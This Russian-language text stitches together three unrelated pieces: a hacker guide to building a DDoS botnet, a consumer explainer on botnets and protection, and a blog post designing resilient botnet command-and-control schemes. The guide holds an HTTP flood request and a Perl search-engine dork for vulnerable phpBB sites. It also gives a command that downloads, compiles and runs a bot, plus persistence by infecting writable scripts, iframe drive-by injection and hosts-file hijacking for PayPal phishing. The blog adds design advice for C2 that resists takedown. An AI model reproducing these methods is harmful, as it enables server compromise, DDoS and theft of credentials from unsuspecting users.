Ботнет создание. Создаем свой боевой ботнет

Системы защиты постоянно совершенствуются, программисты стают более опытными. Теперь допускается все меньше и меньше широко известных ошибок.

[пролог]
Интернет разростается с огромной силой. Хакеру становится все труднее искать уязвимости. Админы используют для защиты разработки крутейших security експертов. Узнаешь свои мысли? На самом деле в интернете полно уязвимостей, вот толку от них мало. Ну, это еще как посмотреть Вот, представь себе ситуацию, тебя достал какой-то сетевой ублюдок, ты хочешь его наказать. Сегодня мы поговорим о создании собственного боевого ботнета.
Итак, что же такое "бот". Непосвященному человеку сразу в память бросаются тупые противники в компьютерных играх, которых ты перестреляешь за две минуты. Да, это отчасти так. В нашем случае "бот" - это программа которая исполняет заложеные в нее команды. Вроди ничего особенного. Кто-то возразит: "Я, мол, в пять лет такое написал, нажимаешь на кнопочку и программа,оля-ля,закрывается" Забудем детство. Мы все знаем что возможности кодинга безграничны, и использовать его можно для добра и зла. Мы, конечно, ведь всегда используем наши разработки с благими намериниями. "Ботнет" - это множество ботов собраных в одном центре, которые синхронно исполняют команды владельца. Боты, кстати, в основном нацелены больше на Windows машины. Тут тебе и пароли можно своровать, и сокс поставить, и винт форматнуть Я отойду от правил и расскажу как создать ботнет из nix машин. Основная функция нашего бота- это огранизация DDOS атак. Это идеальный способ использовать широкие каналы nix серверов. Подсчитаем. Сервер который нужно "завалить" стоит на 100Mb канале. Тоесть, 10-20 ботов стоящих на таком же канале завалят сервер во мгновенье. Если от одного сервера можно прикрытся фаерволом, то от большего количества ботов, увы, спасения нет

[Пишем бота]
Листинг примерного бота ты найдешь по линку в конце статьи. Разберемся немного с кодом. (эээ, Дрим опять все контролируется через IRC? Через WEB круче!). Кстати, контроль через IRC был выбран через его интерактивность. Допустим, мне захочется порутать локальными ядерными эксплоитами парочку серверов в ботнете. Я просто исполню команду SH uname -a средствами бота и моментально найду нужный мне комп. Потом также исполнив команду в IRC клиенте, загружу бекдор и получу интерактивный шелл для дальнейших действий. Возможности безграничны. Ты скажешь - реализовать такой контроль можно и через WEB, но зачем перезагружать страничку и тратить трафик? Гороздо удобнее наблюдать все в реальном времени (хотя, при ботнете больше 1000 ботов, можно позаботится о удобстве интерфейса -прим. здравого рассудка). Многие думают, что огранизация DDOS дело очень сложное. Вот пример кода обычной атаки:

GET /server.org HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 (X11; U; Windows 5.2 i686)\r\nHost: server.org:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n

Тоесть, мы просто посылаем запрос серверу заставляя на него ответить. Причем посылаем его пока сервер не ляжет от нехватки трафика или процесорного времени. Но разве ты ограничешся одними nix ботами, нужно ведь создавать и виндовий ботнет, например, на основе AgoBot. Для этого можно создать некий код для бота который будет сканировать на предмет lsasl/dcom уязвимостей машины которые коннектятся к серверу на котором установлен бот.

[Создаем ботнет]
На самом деле создать ботнет очень легко. Для этого нам понадобится найти уязвимость в любом web скрипте. Найденая уязвимость должна позволять исполнять команды shell интерпритататора. Когда найдешь уязвимость, обрати внимание на название бажного файла, его заголовок, название уязвимой системы. Теперь, с помощью этих данных, нужно составить хороший поисковый запрос. К примеру, возьмен всем известную уязвимость в phpBB<=2.0.10. Название файла - viewtopic.php, переменная указывающаю на значения топика форума - t. Значит поисковый запрос будет вида "Powered by phpBB AND viewtopic.php?t=". Чем разумнее и проще запрос ты составишь, тем больше уязвимых серверов попадутся тебе на удочку. В каждого поискового сервера язык запросов немного отличается, так что почитай его описание, перед тем как составлять запрос. Теперь нужно все это автоматизировать. Отправка запроса поисковику будем осуществлять примерно так на Perl:

$sock = IO::Socket::INET->new(PeerAddr=>"search.aol.com",PeerPort=>"80",P ro to=>"tcp") or next; print $sock "GET /aolcom/search?q=viewtopic.php%3Ft%3D7&Stage=0&page=$n HTTP/1.0\n\n"; @resu = <$sock>; close($sock);

Wget http://server.org/bot.c;gcc bot.c -o bash;chmod +x bash;./bash;

Здесь можно увидеть сразу две проблемы. wget и gcc может не оказаться или их использование будет запрещено. Здесь нам помогут качалки fech,curl и get или консольный броузер lynx, либо же, использовать ftp протокол. Его реализация сложнее, но и плюс в том, что ftp то есть везде Что касается компилятора, то можно просто скомпилировать бинарник на своем шелле и надеятся что с совместимость все будет ок, или же переписать бота на интерпритированые языки - Perl или PHP. У каждого способа свои достоинства и недостатки, какой использовать, выбор твой. Я привык использовать захваченый сервер по максимуму. Ведь бот на nix сервере продержится лишь до первой перезагрузки машины. Из этой ситуации есть один интересный выход. Бот будет искать интерпритируемые файлы (.pl,.php) доступные на запись и добавлять в них код скачки и запуска бота. Или можно создать еще виндовый ботнет. Реализуется это также легко. Здесь нужна уязвимость в обозревателе интернета(Internet Explorer,Opera,Mozilla) которая приводит к скачке и запуска нужного файла. Далее создается inframe запись загружающая наш вредоносный код. Эта запись добавляется во все index файлы(или во все где есть html код, все зависит от твоей наглости). С такой работой отлично справляется небольшой скриптик Haz, который ты найдешь также в архивчике. Багтрак заполнен записями о критичных уязвимостях в Internet Explorer, так что в нашем подчинении будет и ботнет на Windows системах (его плюсы я упоминал выше). Все, запускай нашего поискового червячка на скоростном шелле, выпей кофе(пиво, водка, томатный сок) заходи на IRC канал указаный в свойствах бота и наблюдай количество своих подчиненных. В заключение хочу передать привет всем кто меня знает и пожелать тебе удачи. Не попадайся.
ХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХ

Уязвимость в phpBB актуальна до 2.0.16 версии, хотя разработчики утверждают что они ее исправили в 2.0.11

Http://_exploits.ath.cx/exploits/data/bots/ http://_www.honeynet.org

Фишинг
Очень удобно использовать ботов в качестве организации фишинга. Для этого нужны специальные заточеные под фишинг страницы эмулирующие нужный нам сайт и хороший хостинг, выделенный сервер или VDS. Такие страницы можно сделать самому, купить, найти в сети. Выбор огромен. Чаще всего фишинг организовывается на сайты: e-gold.com,paypal.com,citybank.com,usbank.com,ebay.c om и другие, так или иначе, связаные с электронной комерцией. Далее Windows бот переписывает файл \system32\drivers\etc\hosts добавляя в него ip адрес вашего сервера и присваивая к нему альяс нужного вам сайта. Формат файла таков:

102.54.94.97 e-gold.com 102.54.94.97 paypal.com

Тоесть, наберя в броузере сайты e-gold.com и paypal.com пользователь попадает на наш сервер ничего не подозревая. В свою очередь на сервере фишера в httpd.conf добавляются записи о соответствующих доменах.

DocumentRoot "/home/e-gold.com/www" ServerName "www.e-gold.com" ServerAlias "e-gold.com" "www.e-gold.com"

Разумется в строке броузера будет всем знакомый адрес e-gold.com и даже продвинутый юзер залогинится на сайт ничего не заподозрив. Для полноты картины, скажу, что если пользователь использует прокси сервер то этот способ работать не будет

Боты на любой вкус
Agobot/Phatbot/Forbot/XtremBot
Это лучшее семейство ботов. Написаны на С++. Имеют множество функций защиты от обнаружения и насчитывают более 500 модификаций благодаря четко выраженой модульной структуре.
SDBot/RBot/UrBot/UrXBot
Очень популярные на даный момент боты для проведения DDOS атак. Имеют множество дополнительный функций. Таких как открытие Sock4, кейлоггер, автоматический сканер lsass и dcom уязвимостей. Также имеет функцию перенаправления запросов к сайтам антивирусных компаний на локальный сервер путем редактирования \system32\drivers\etc\hosts и установкой небольшего поддельного web сервера на 80 порт.
DSNX Bots
Этот бот может проводить DDOS атаки, сканирование портов и еще некоторые мелочи.
Q8 Bots
Отличный бот под nix системы. Отличается своим компактным кодом (27 Кб, состоит из одного файла) и неплохой функциональностью. Умеет динамично обновлятся путем скачивания и запуска нового файла. Хорошо реализует основные реализации DDOS (SYN-flood, UDP-flood). Умеет выполнять системные команды. Также неплохо маскируется в системе.
kaiten
Также неплохой бот под Unix/Linux системы. Умеет открывать удаленный шелл на захваченом сервере.
Perl-based bots
Это очень маленькие боты написаные на Perl. Используются для DDOS атак на Unix-based системах.

---
Статья имеет большой уклон в сторону хакинга, так что непонятно - спрашивайте.

Сегодня ботнеты стали одним из главных инструментов киберпреступников. ComputerBild расскажет, что такое ботнеты, как они работают и как спасти свой компьютер от попадания в зомби-сеть.

Ботнет, или зомби-сеть, - это сеть компьютеров, зараженных вредоносной программой, позволяющей злоумышленникам удаленно управлять чужими машинами без ведома их владельцев. В последние годы зомби-сети стали стабильным источником дохода для киберпреступников. Неизменно низкие издержки и минимум знаний, необходимых для управления ботнетами, способствуют росту популярности, а значит, и количества ботнетов. На DDoS-атаках или спам-рассылках, осуществляемых с помощью зомби-сетей, злоумышленники и их заказчики зарабатывают тысячи долларов.

Заражен ли мой компьютер ботом?

Ответить на этот вопрос непросто. Дело в том, что отследить вмешательство ботов в повседневную работу ПК практически невозможно, поскольку оно никак не отражается на быстродействии системы. Тем не менее существует несколько признаков, по которым можно определить, что в системе присутствует бот:

Неизвестные программы пытаются осуществить соединение с Интернетом, о чем периодически возмущенно докладывает брандмауэр или антивирусное ПО;

Интернет-трафик становится очень велик, хотя вы пользуетесь Сетью весьма умеренно;

В списке запущенных системных процессов появляются новые, маскирующиеся под обычные процессы Windows (к примеру, бот может носить имя scvhost.exe - это название очень похоже на название системного процесса Windows svchost.exe; заметить разницу довольно сложно, но - можно).

Зачем создаются ботнеты

Ботнеты создаются, чтобы зарабатывать деньги. Можно выделить несколько сфер коммерчески выгодного применения зомби-сетей: DDoS-атаки, сбор конфиденциальной информации, рассылка спама, фишинг, поисковый спам, накрутка клик-счетчиков и пр. Надо заметить, что прибыльным будет любое направление, какое бы злоумышленник ни выбрал, причем ботнет позволяет осуществлять все перечисленные виды деятельности одновременно.

DDoS-атака (от англ. Distributed Denial-of-Service) - это атака на компьютерную систему, например на веб-сайт, целью которой является доведение системы до «падения», то есть состояния, когда она больше не сможет принимать и обрабатывать запросы легитимных пользователей. Один из самых распространенных методов проведения DDoS-атаки - отправка многочисленных запросов на компьютер или сайт-жертву, что и приводит к отказу в обслуживании, если ресурсы атакуемого компьютера недостаточны для обработки всех поступающих запросов. DDoS-атаки являются грозным оружием хакеров, а ботнет - идеальным инструментом для их проведения.

DDoS-атаки могут быть как средством недобросовестной конкурентной борьбы, так и актами кибертерроризма. Хозяин ботнета может оказать услугу любому не слишком щепетильному предпринимателю - провести DDoS-атаку на сайт его конкурента. Атакуемый ресурс после такой нагрузки «ляжет», заказчик атаки получит временное преимущество, а киберпреступник - скромное (или не очень) вознаграждение.

Таким же образом сами владельцы ботнетов могут использовать DDoS-атаки для вымогания денег у крупных компаний. При этом компании предпочитают выполнять требования киберпреступников, поскольку ликвидация последствий удачных DDoS-атак стоит весьма дорого. Например, в январе 2009 года один из крупнейших хостеров GoDaddy.com подвергся DDoS-атаке, в результате которой тысячи сайтов, размещенных на его серверах, оказались недоступными почти на сутки. Финансовые потери хостера были огромны.

В феврале 2007 года был проведен ряд атак на корневые DNS-серверы, от работы которых напрямую зависит нормальное функционирование всего Интернета. Маловероятно, что целью этих атак было обрушение Всемирной сети, ведь существование зомби-сетей возможно только при условии, что существует и нормально функционирует Интернет. Больше всего это было похоже на демонстрацию силы и возможностей зомби-сетей.

Реклама услуг по осуществлению DDoS-атак открыто размещена на многих форумах соответствующей тематики. Цены на атаки колеблются от 50 до нескольких тысяч долларов за сутки непрерывной работы DDoS-ботнета. По данным сайта www.shadowserver.org, за 2008 год было проведено порядка 190 тысяч DDoS-атак, на которых киберпреступники смогли заработать около 20 миллионов долларов. Естественно, в эту сумму не включены доходы от шантажа, которые просто невозможно подсчитать.

Сбор конфиденциальной информации

Конфиденциальная информация, которая хранится на компьютерах пользователей, всегда будет привлекать злоумышленников. Наибольший интерес представляют номера кредитных карт, финансовая информация и пароли к различным службам: почтовым ящикам, FTP-серверам, «мессенджерам» и др. При этом современные вредоносные программы позволяют злоумышленникам выбирать именно те данные, которые им интересны, - для этого достаточно загрузить на ПК соответствующий модуль.

Злоумышленники могут либо продать украденную информацию, либо использовать ее в своих интересах. На многочисленных форумах в Сети каждый день появляются сотни объявлений о продаже банковских учетных записей. Стоимость учетной записи зависит от количества денег на счету пользователя и составляет от 1 до 1500 долларов за счет. Нижняя граница свидетельствует о том, что в ходе конкурентной борьбы киберпреступники, занимающиеся такого рода бизнесом, вынуждены снижать цены. Чтобы заработать действительно много, им необходим стабильный приток свежих данных, а для этого обязателен стабильный рост зомби-сетей. Особенно интересна финансовая информация кардерам - злоумышленникам, занимающимся подделкой банковских карт.

О том, насколько выгодны такие операции, можно судить по известной истории с группой бразильских киберпреступников, которые были арестованы два года назад. Они смогли снять с банковских счетов простых пользователей 4,74 миллиона долларов, используя украденную с компьютеров информацию. В приобретении персональных данных, не имеющих прямого отношения к деньгам пользователя, заинтересованы и преступники, которые занимаются подделкой документов, открытием фальшивых банковских счетов, совершением незаконных сделок и т.д.

Еще одним видом собираемой ботнетами информации являются адреса электронной почты, причем, в отличие от номеров кредиток и учетных записей, из адресной книги одного зараженного ПК можно извлечь множество электронных адресов. Собранные адреса выставляются на продажу, причем иногда «на развес» - помегабайтно. Основными покупателями подобного «товара» являются спамеры. Список из миллиона e-mail-адресов стоит от 20 до 100 долларов, а заказанная спамерам рассылка на этот же миллион адресов - 150-200 долларов. Выгода очевидна.

Преступникам также интересны учетные записи различных платных сервисов и интернет-магазинов. Безусловно, они обходятся дешевле банковских учетных записей, но их реализация связана с меньшим риском преследования со стороны правоохранительных органов.

Ежедневно по всему миру курсируют миллионы спам-сообщений. Рассылка незапрошенной почты является одной из основных функций современных ботнетов. По данным «Лаборатории Касперского», около 80% всего спама рассылается через зомби-сети. С компьютеров законопослушных пользователей отправляются миллиарды писем с рекламой «Виагры», копий дорогих часов, онлайн-казино и т. п., забивающих каналы связи и почтовые ящики. Таким образом хакеры ставят под удар компьютеры ни в чем не повинных пользователей: адреса, с которых ведется рассылка, попадают в черные списки антивирусных компаний.

В последние годы сама сфера спам-услуг расширилась: появился ICQ-спам, спам в социальных сетях, форумах, блогах. И это тоже «заслуга» владельцев ботнетов: ведь совсем несложно дописать к бот-клиенту дополнительный модуль, открывающий горизонты для нового бизнеса со слоганами типа «Спам в Facebook. Недорого». Цены на спам варьируются в зависимости от целевой аудитории и количества адресов, на которые ведется рассылка. Разброс цен на целевые рассылки - от 70 долларов за сотни тысяч адресов до 1000 долларов за несколько десятков миллионов адресов. За прошедший год спамеры заработали на рассылке писем порядка 780 миллионов долларов.

Создание поискового спама

Еще один вариант использования ботнетов - повышение популярности сайтов в поисковых системах. Работая над поисковой оптимизацией, администраторы ресурсов стараются повысить позицию сайта в результатах поиска, поскольку чем она выше, тем больше посетителей зайдет на сайт через поисковые системы и, следовательно, тем больше будет выручка владельца сайта, например от продажи рекламных площадей на веб-страницах. Многие компании платят веб-мастерам немалые деньги, чтобы они вывели сайт на первые позиции в «поисковиках». Владельцы ботнетов подсмотрели некоторые их приемы и автоматизировали процесс поисковой оптимизации.

Когда вы видите в комментариях к своей записи в «Живом Журнале» или удачной фотографии, выложенной на фотохостинге, множество ссылок, созданных неизвестным вам человеком, а иногда и вашим «френдом», - не удивляйтесь: просто кто-то заказал раскрутку своего ресурса хозяевам ботнета. Специально созданная программа загружается на зомби-компьютер и от имени его владельца оставляет на популярных ресурсах комментарии со ссылками на раскручиваемый сайт. Средняя цена на нелегальные услуги поискового спама - порядка 300 долларов в месяц.

Сколько стоят персональные данные

Стоимость украденных персональных данных напрямую зависит от страны, в которой живет их законный владелец. Например, полные данные жителя США стоят 5-8 долларов. На черном рынке особенно ценятся данные жителей Евросоюза - они в два-три раза дороже данных граждан США и Канады. Это можно объяснить тем, что такими данными преступники могут пользоваться в любой стране, входящей в ЕС. В среднем по миру цена полного пакета данных об одном человеке составляет порядка $7.

К сожалению, тому, кто решил «с нуля» организовать ботнет, не составит особого труда найти в Интернете инструкцию по созданию зомби-сети. Первый шаг: создать новую зомби-сеть. Для этого нужно заразить компьютеры пользователей специальной программой - ботом. Для заражения используются спам-рассылки, постинг сообщений на форумах и в социальных сетях и другие приемы; часто бот наделяется функцией самораспространения, как вирусы или черви.

Чтобы заставить потенциальную жертву установить бот, используют приемы социальной инженерии. Например, предлагают посмотреть интересное видео, для чего требуется скачать специальный кодек. После загрузки и запуска такого файла пользователь, конечно, не сможет посмотреть никакого видео и скорее всего не заметит вообще никаких изменений, а его ПК окажется заражен и станет покорным слугой, выполняющим все команды хозяина ботнета.

Вторым широко используемым методом заражения ботами является drive-by-загрузка. При посещении пользователем зараженной веб-страницы на его компьютер через различные «дыры» в приложениях - прежде всего в популярных браузерах - загружается вредоносный код. Для эксплуатации слабых мест используются специальные программы - эксплойты. Они позволяют не только незаметно загрузить, но и незаметно запустить вирус или бот. Такой вид распространения вредоносного ПО наиболее опасен, ведь, если взломан популярный ресурс, заразятся десятки тысяч пользователей!

Бот можно наделить функцией самораспространения по компьютерным сетям. Например, он может распространяться путем заражения всех доступных исполняемых файлов или путем поиска и заражения уязвимых компьютеров сети.

Зараженные компьютеры ничего не подозревающих пользователей создатель ботнета может контролировать с помощью командного центра ботнета, связываясь с ботами через IRC-канал, веб-соединение или с помощью любых других доступных средств. Достаточно объединить в сеть несколько десятков машин, чтобы ботнет начал приносить своему хозяину доход. Причем этот доход находится в линейной зависимости от устойчивости зомби-сети и темпов ее роста.

Рекламные компании, работающие онлайн по схеме PPC (Pay-per-Click), платят деньги за уникальные клики по ссылкам на размещенных в Интернете объявлениях. Для владельцев ботнета обман таких компаний является прибыльным занятием. Для примера можно взять известную сеть Google AdSense. Входящие в нее рекламодатели платят Google за клики по размещенным объявлениям в надежде, что заглянувший «на огонек» пользователь что-нибудь у них купит.

Google в свою очередь размещает контекстную рекламу на различных сайтах, участвующих в программе AdSense, платя владельцу сайта процент с каждого клика. Увы, не все владельцы сайтов честные. Имея зомби-сеть, хакер может генерировать тысячи уникальных кликов в день - по одному с каждой машины, чтобы не вызывать особых подозрений у Google. Таким образом, деньги, потраченные на рекламную компанию, перетекут в карман к хакеру. К сожалению, не было еще ни одного случая, когда за подобные акции кого-либо привлекали к ответственности. По данным компании Click Forensics, в 2008 году порядка 16-17% всех переходов по рекламным ссылкам были поддельными, из них минимум треть генерировалась ботнетами. Выполнив несложные вычисления, можно понять, что в прошлом году владельцы ботнетов «накликали» 33 000 000 долларов. Неплохой доход от щелчков мышью!

Злоумышленникам и нечистым на руку бизнесменам совсем не обязательно своими силами создавать ботнет «с нуля». Ботнеты самых разных размеров и производительности они могут купить или арендовать у хакеров - например, обратившись на специализированные форумы.

Стоимость готового ботнета, равно как и стоимость его аренды, напрямую зависит от количества входящих в него компьютеров. Наибольшей популярностью готовые ботнеты пользуются на англоязычных форумах.

Маленькие ботнеты, состоящие из нескольких сотен ботов, стоят от 200 до 700 долларов. При этом средняя цена одного бота составляет примерно 50 центов. Более крупные ботнеты стоят больших денег.

Зомби-сеть Shadow, которая была создана несколько лет назад 19-летним хакером из Голландии, насчитывала более 100 тысяч компьютеров, расположенных по всему миру, продавалась за 25 000 евро. За эти деньги можно купить небольшой домик в Испании, однако преступник из Бразилии предпочел приобрести ботнет.

Средства защиты от ботнетов

1. В первую очередь это анитивирусные программы и комплексные пакеты для защиты от интернет-угроз с регулярно обновляемыми базами. Они помогут не только вовремя обнаружить опасность, но и ликвидировать ее до того, как ваш превращенный в зомби верный «железный друг» начнет рассылать спам или «ронять» сайты. Комплексные пакеты, например Kaspersky Internet Security 2009, содержат полный комплект защитных функций, управлять которыми можно через общий командный центр.

Антивирусный модуль в фоновом режиме выполняет сканирование важнейших системных областей и контролирует все возможные пути вторжения вирусов: вложения электронной почты и потенциально опасные веб-сайты.

Брандмауэр следит за обменом данными между персональным компьютером и Интернетом. Он проверяет все пакеты данных, получаемые из Сети или отправляемые туда, и при необходимости блокирует сетевые атаки и препятствует тайной отправке личных данных в Интернет.

Спам-фильтр защищает почтовый ящик от проникновения рекламных сообщений. В его задачи также входит выявление фишинговых писем, с помощью которых злоумышленники пытаются выудить у пользователя информацию о его данных для входа в онлайновые платежные или банковские системы.

2. Регулярное обновление операционной системы, веб-браузеров и других приложений, разработчики которых обнаруживают и ликвидируют многие бреши в их защите, а также слабые места, используемые злоумышленниками.

3. Специальные программы-шифровальщики защитят ваши персональные данные, даже если бот уже проник на компьютер, ведь для доступа к ним ему придется взломать пароль.

4. Здравый смысл и осторожность. Если вы хотите оградить свои данные от разного рода угроз, не стоит скачивать и устанавливать программы неизвестного происхождения, открывать архивы с файлами вопреки предупреждениям антивируса, заходить на сайты, которые браузер помечает как опасные, и т.д.

Благодарим «Лабораторию Касперского» за помощь в подготовке материала

Не зря я опубликовал черновик моей заметки про пиринговые сети . Комментарии читателей оказались очень полезными. Именно они вдохновили меня на дальнейшую работу в этом направлении. Что из этого вышло — смотрите под катом.

Как видно из названия поста, сегодня речь пойдет только о ботнетах. Про обмен файлами, прокси-сети, пиринговые блоги и p2p-валюту на время забудем.

Под словом «ботнет» не следует понимать что-то противозаконное. Когда пользователь добровольно скачивает и устанавливает «бота» с целью пожертвовать свой трафик и вычислительные ресурсы на нужды научного проекта, это тоже ботнет. Соответственно ботмастер не обязательно является преступником. Группа из 30 ученых, занимающихся научным проектом, это тоже «ботмастер».

1. Управление ботнетом через сервер

Самый простой способ управления ботами — запустить irc/http сервер. Через него боты будут получать команды и с его же помощью отсылать результат их выполнения.

Рисую, как умею:) В данном случае иллюстрация может и не требуется, но я решил подготовить вас к шоку, который произведут остальные рисунки.

  • Очень простая реализация, особенно в случае с IRC.
  • Быстрый ответ ботов.
  • Можно отдавать команды как всей сети, так и конкретному боту.
  • Если сеть состоит из сотни узлов, для управления ею достаточно одного канала в DalNet. Для сетей покрупнее можно раскошелится на недорогой (около 300 руб/мес) веб-хостинг.
  • В случае с HTTP -сервером значительно упрощается разработка красивого UI. Это важно, если мы используем ботнет в каком-нибудь веб-сервисе.
  • Нагрузка на сервер. Число узлов в самых крупных ботнетах измеряется миллионами. Чтобы управлять такой толпой, одного сервера мало.
  • Если с сервером что-то случится (авария в сети, DDoS, пожар в дата-центре), сети придет конец.
  • Один сервер легко зафаерволить. Это может сделать как провайдер, так и продукты Лаборатории Касперского на пользовательском компьютере.
  • Ботмастера сравнительно легко найти. Один раз забыл про VPN — жди гостей в погонах.
  • В случае с IRC , команды получают только боты в онлайне. Если бот зайдет на канал через две минуты после отправки команды, он будет «не в теме».
  • Число ботов и их IP можно определить, зайдя на IRC-канал. Защита канала паролем не поможет, потому что последний легко выковырять из кода бота.

2. Управление через IRC-сеть

Логичный шаг для борьбы с минусами предыдущего метода — сделать не один сервер, а несколько. На мой взгляд, проще всего это сделать, подняв свою IRC-сеть. В этом случае вся ответственность на передачу данных между серверами ложится на протокол IRC . Со стороны ботов не будет никакой разницы по сравнению с предыдущим решением.

  • Простая реализация, хотя придется повозится с настройкой серверов.
  • Боты по прежнему быстро реагируют на команды.
  • Все еще можно отдавать команды конкретному боту.
  • Распределение нагрузки между серверами, защита от DDoS и форс-мажоров. Десяток хороших серверов может хватить для сети из миллиона ботов.
  • При отказе части серверов можно успеть их заменить.
  • Если используется IRC и смущает тысяча ботов, сидящих на одном канале, используйте несколько каналов. Соответственно можно давать разным частям сети разные задания.
  • Придется раскошелится на сервера/VDS.
  • Можно зафаерволить все сервера одновременно и ботмастер не успеет их заменить.
  • Ботмастера все еще достаточно просто отследить.
  • В случае с IRC , число ботов и их IP по прежнему у всех на виду.
  • Боты, которые только что зашли на канал, не в теме.

Термин трастринг (trust ring, круг/кольцо доверия) я впервые услышал от товарища Nickolas в комментариях к предыдущей заметке . Речь идет о том, чтобы возложить функцию «серверов» на часть ботнета.

  • Не нужны никакие сервера.
  • Трастринг может состоять из сотен узлов. Поднять и контролировать такое число irc/http-серверов непросто.
  • Боты не должны постоянно держать соединение с трастрингом. Достаточно проверять раз в 5-10 минут, не появилось ли новых команд. Каждая команда должна иметь TTL, в течение которого она хранится в трастринге.
  • Большое число «серверов» обеспечивают устойчивость сети к всевозможным бедствиям . Когда часть кольца отомрет, ботмастер может дать команду о создании нового трастринга. Или это могут сделать сами узлы кольца (нужны цифровые подписи и согласие определенного процента трастринга).
  • Пусть трастринг состоит из 512 узлов, по крайне мере 50% постоянно находятся онлайн. Если в сети 1 000 000 ботов и каждый из них постоянно онлайн, на каждый узел трастринга придется менее 4000 ботов. При запросе ботом команд (или при отправке результата) раз в 10 минут, каждый узел кольца одновременно будет обрабатывать в среднем 7 соединений. Совсем немного для сети такого размера, правда?
  • Точный список всех ботов может получить только ботмастер.
  • Можно отдавать команды конкретному боту или группе ботов.
  • Быстрая реакция ботов на команды.
  • Ботмастера трудно найти.

Единственный минус, который я вижу — сложность реализации.

4. Пиринговые сети

Если верить интернет-источникам, в настоящее время большой популярностью пользуются P2P ботнеты. Среди этих источников наибольшего внимания заслуживает . Каждый узел такой сети знает лишь несколько «соседних» узлов. Ботмастер посылает команды нескольким узлам сети, после чего она передается от соседу к соседу.

Список соседей выдается ботам один раз на специальном сервере. Им может быть, например, взломанный сайт. Больше сервер ничего не делает, он нужен только во время добавления нодов в ботнет.

  • Реализация несколько проще, чем в предыдущем пункте.
  • Минимальная нагрузка на все узлы сети. Размер ботнета практически неограничен.
  • Устойчивость к DDoS, отключению узлов и тд. Зафаерволить p2p-ботнет практически невозможно.
  • Никаких постоянных соединений, как в случае с IRC.
  • Нужен сервер, пусть и ненадолго.
  • Узлы время от времени отмирают, что сказывается на связности сети.
  • Чтобы получить список всех ботов, нужно, например, дать им команду обратиться к определенному сайту. В этом случае нет гарантии, что список получит только ботмастер.
  • Чтобы дать команду определенному узлу, нужно либо послать ее всей сети, либо соединиться с узлом напрямую.
  • Медленная реакиця ботов на команды.
  • Чтобы послать «длинную» команду, например, со списком URL, нужно воспользоваться сторонним сервером, иначе реакция ботов замедлится еще больше.
  • Ботмастера найти проще, чем в предыдущем примере, за счет использования какого-никакого сервера.

Я конечно могу ошибаться, но по-моему p2p-ботнеты намного хуже трастринга. Может, производители антивирусов о чем-то умалчивают?

5. Комплексное решение

Один из способов изобрести что-то новое и хорошее — скрестить что-то старое. Объединили телефон, компьютер, магнитофон, фотоаппарат и видеокамеру — получили смартфон . Компьютером и климат-контролем в автомобиле уже никого не удивишь. Приклеим к каждому йогурту магнитик на холодильник, и продажи взлетят.

Важно помнить, что при неудачном скрещивании мы можем получить ни на что не годную особь. Напоминает генетические алгоритмы , правда? Возьмем, казалось бы, хорошую идею — p2p-ботнет, где за назначение соседей отвечает трастринг. Тогда нам не нужен никакой сервер!

Но в этом случае возрастет сложность реализации, пусть и ненамного. Остальные проблемы p2p-ботнета останутся нерешенными. Выигрыш незначительный, счет 1:1.

Немного посидев с бумажкой и карандашом, я родил следующую идею. Насколько мне известно, ранее она никогда не озвучивалась, и я первый, кто такое придумал. ЧСВ плюс 100.

Что, если сеть будет иметь два состояния — «активное» и «пассивное». В пассивном состоянии ботнет работает по схеме p2p. Ботмастер посылает команду «мобилизовать войска» и сеть превращается в трастринг. В своей команде ботмастер должен указать узлы трастринга и время, на которое сеть меняет свое состояние. Чтобы кольцо было побольше, можно дать команду нескольким ботам назвать своих соседей. Далее все команды передаются через трастринг. Он же отвечает за назначение «соседей» новым узлам. Если TTL кольца впоследствии окажется недостаточно, можно дать команду «продлить активное состояние».

Такой ботнет не унаследует ни одного минуса p2p-сети и будет обладать всеми плюсами трастринга, а также следующими:

  • Повышенная устойчивость к ddos-атакам и сетевым фильтрам, как у p2p-сети.
  • Минимальное потребление ресурсов ботами во время простоя сети. Ботмастеру не нужно отслеживать состояние трастринга и выбирать для него новые узлы.
  • При создании трастринга выбираются только те узлы, что в настоящее время находящиеся онлайн. Боты будут соединяться с кольцом с первой попытки (какое-то время).
  • Список «соседей» периодически обновляется. Все равно IP узлов, входящих во временное кольцо, знает весь ботнет. Так пусть считают эти узлы соседями, если часть настоящих соседей давно не появлялась в сети.

И единственный недостаток, который я здесь вижу — сложность реализации. Но это на самом деле не является проблемой.

6. О чем важно помнить

До сих пор я умалчивал о некоторых моментах, потому что они присущи любому из названных способов управления ботнетом. Следует заострить на них внимание.

  • Часть узлов не может принимать входящие соединения из-за фаервола или NAT. Как минимум, это нужно учесть при написании бота. Например, при распространении команд в p2p-сети бот должен сам периодически обращаться к соседям, а не ждать команды от них.
  • Следует исходить из того, что все команды, посылаемые сети, прослушиваются. Как минимум, заинтересованное лицо может модифицировать для этих целей код бота. Тем не менее, имеет смысл шифровать весь трафик , передаваемый в сети. Как минимум, это усложнит анализ ботнета.
  • Все команды ботмастера должны подписываться цифровой подписью . Пароли не годятся, потому что могут быть перехвачены.
  • Раз речь зашла о реализации, отмечу, что в любом ботнете должны быть предусмотрены как минимум три команды — обновление ботов, обновление ключа ботмастера и самоуничтожение всей сети.
  • В сети имеются «шпионские» ноды. Часть из них входит в трастринг. При этом мы не знаем целей, которые эти «шпионы» преследуют — это может быть определение IP ботмастера, срыв выполнения команд, выведение сети из строя, получение контроля над ботнетом и так далее. В частности, это означает, что боты должны выбирать случайный узел при соединении с кольцом, а не использовать все время один и тот же.
  • На рисунке узлы трастринга соединяются каждый с каждым, но куда практичнее реализовать кольцо в виде небольшой p2p-сети, то есть по принципу «соседей».

Также отмечу, что решения 1 и 2 (сервер, много серверов) лишаются многих минусов и получают пару плюсов от решения 3 (трастринга) при использовании протокола HTTP. Пролистайте еще раз эти пункты, чтобы понять, о чем я.

7. Выводы

Для небольших сетей хорошим решением является использование IRC. Например, если вы хотите создать свою небольшую сеть для распределенных вычислений, установите бота на домашнем компьютере, ноутбуке, нетбуке, рабочем компьютере (если это позволяет политика компании) и управляйте сетью через DalNet. Если понадобится, позже сеть можно будет «прокачать» до трастринга. Вы же предусмотрите соответствующую команду, верно?

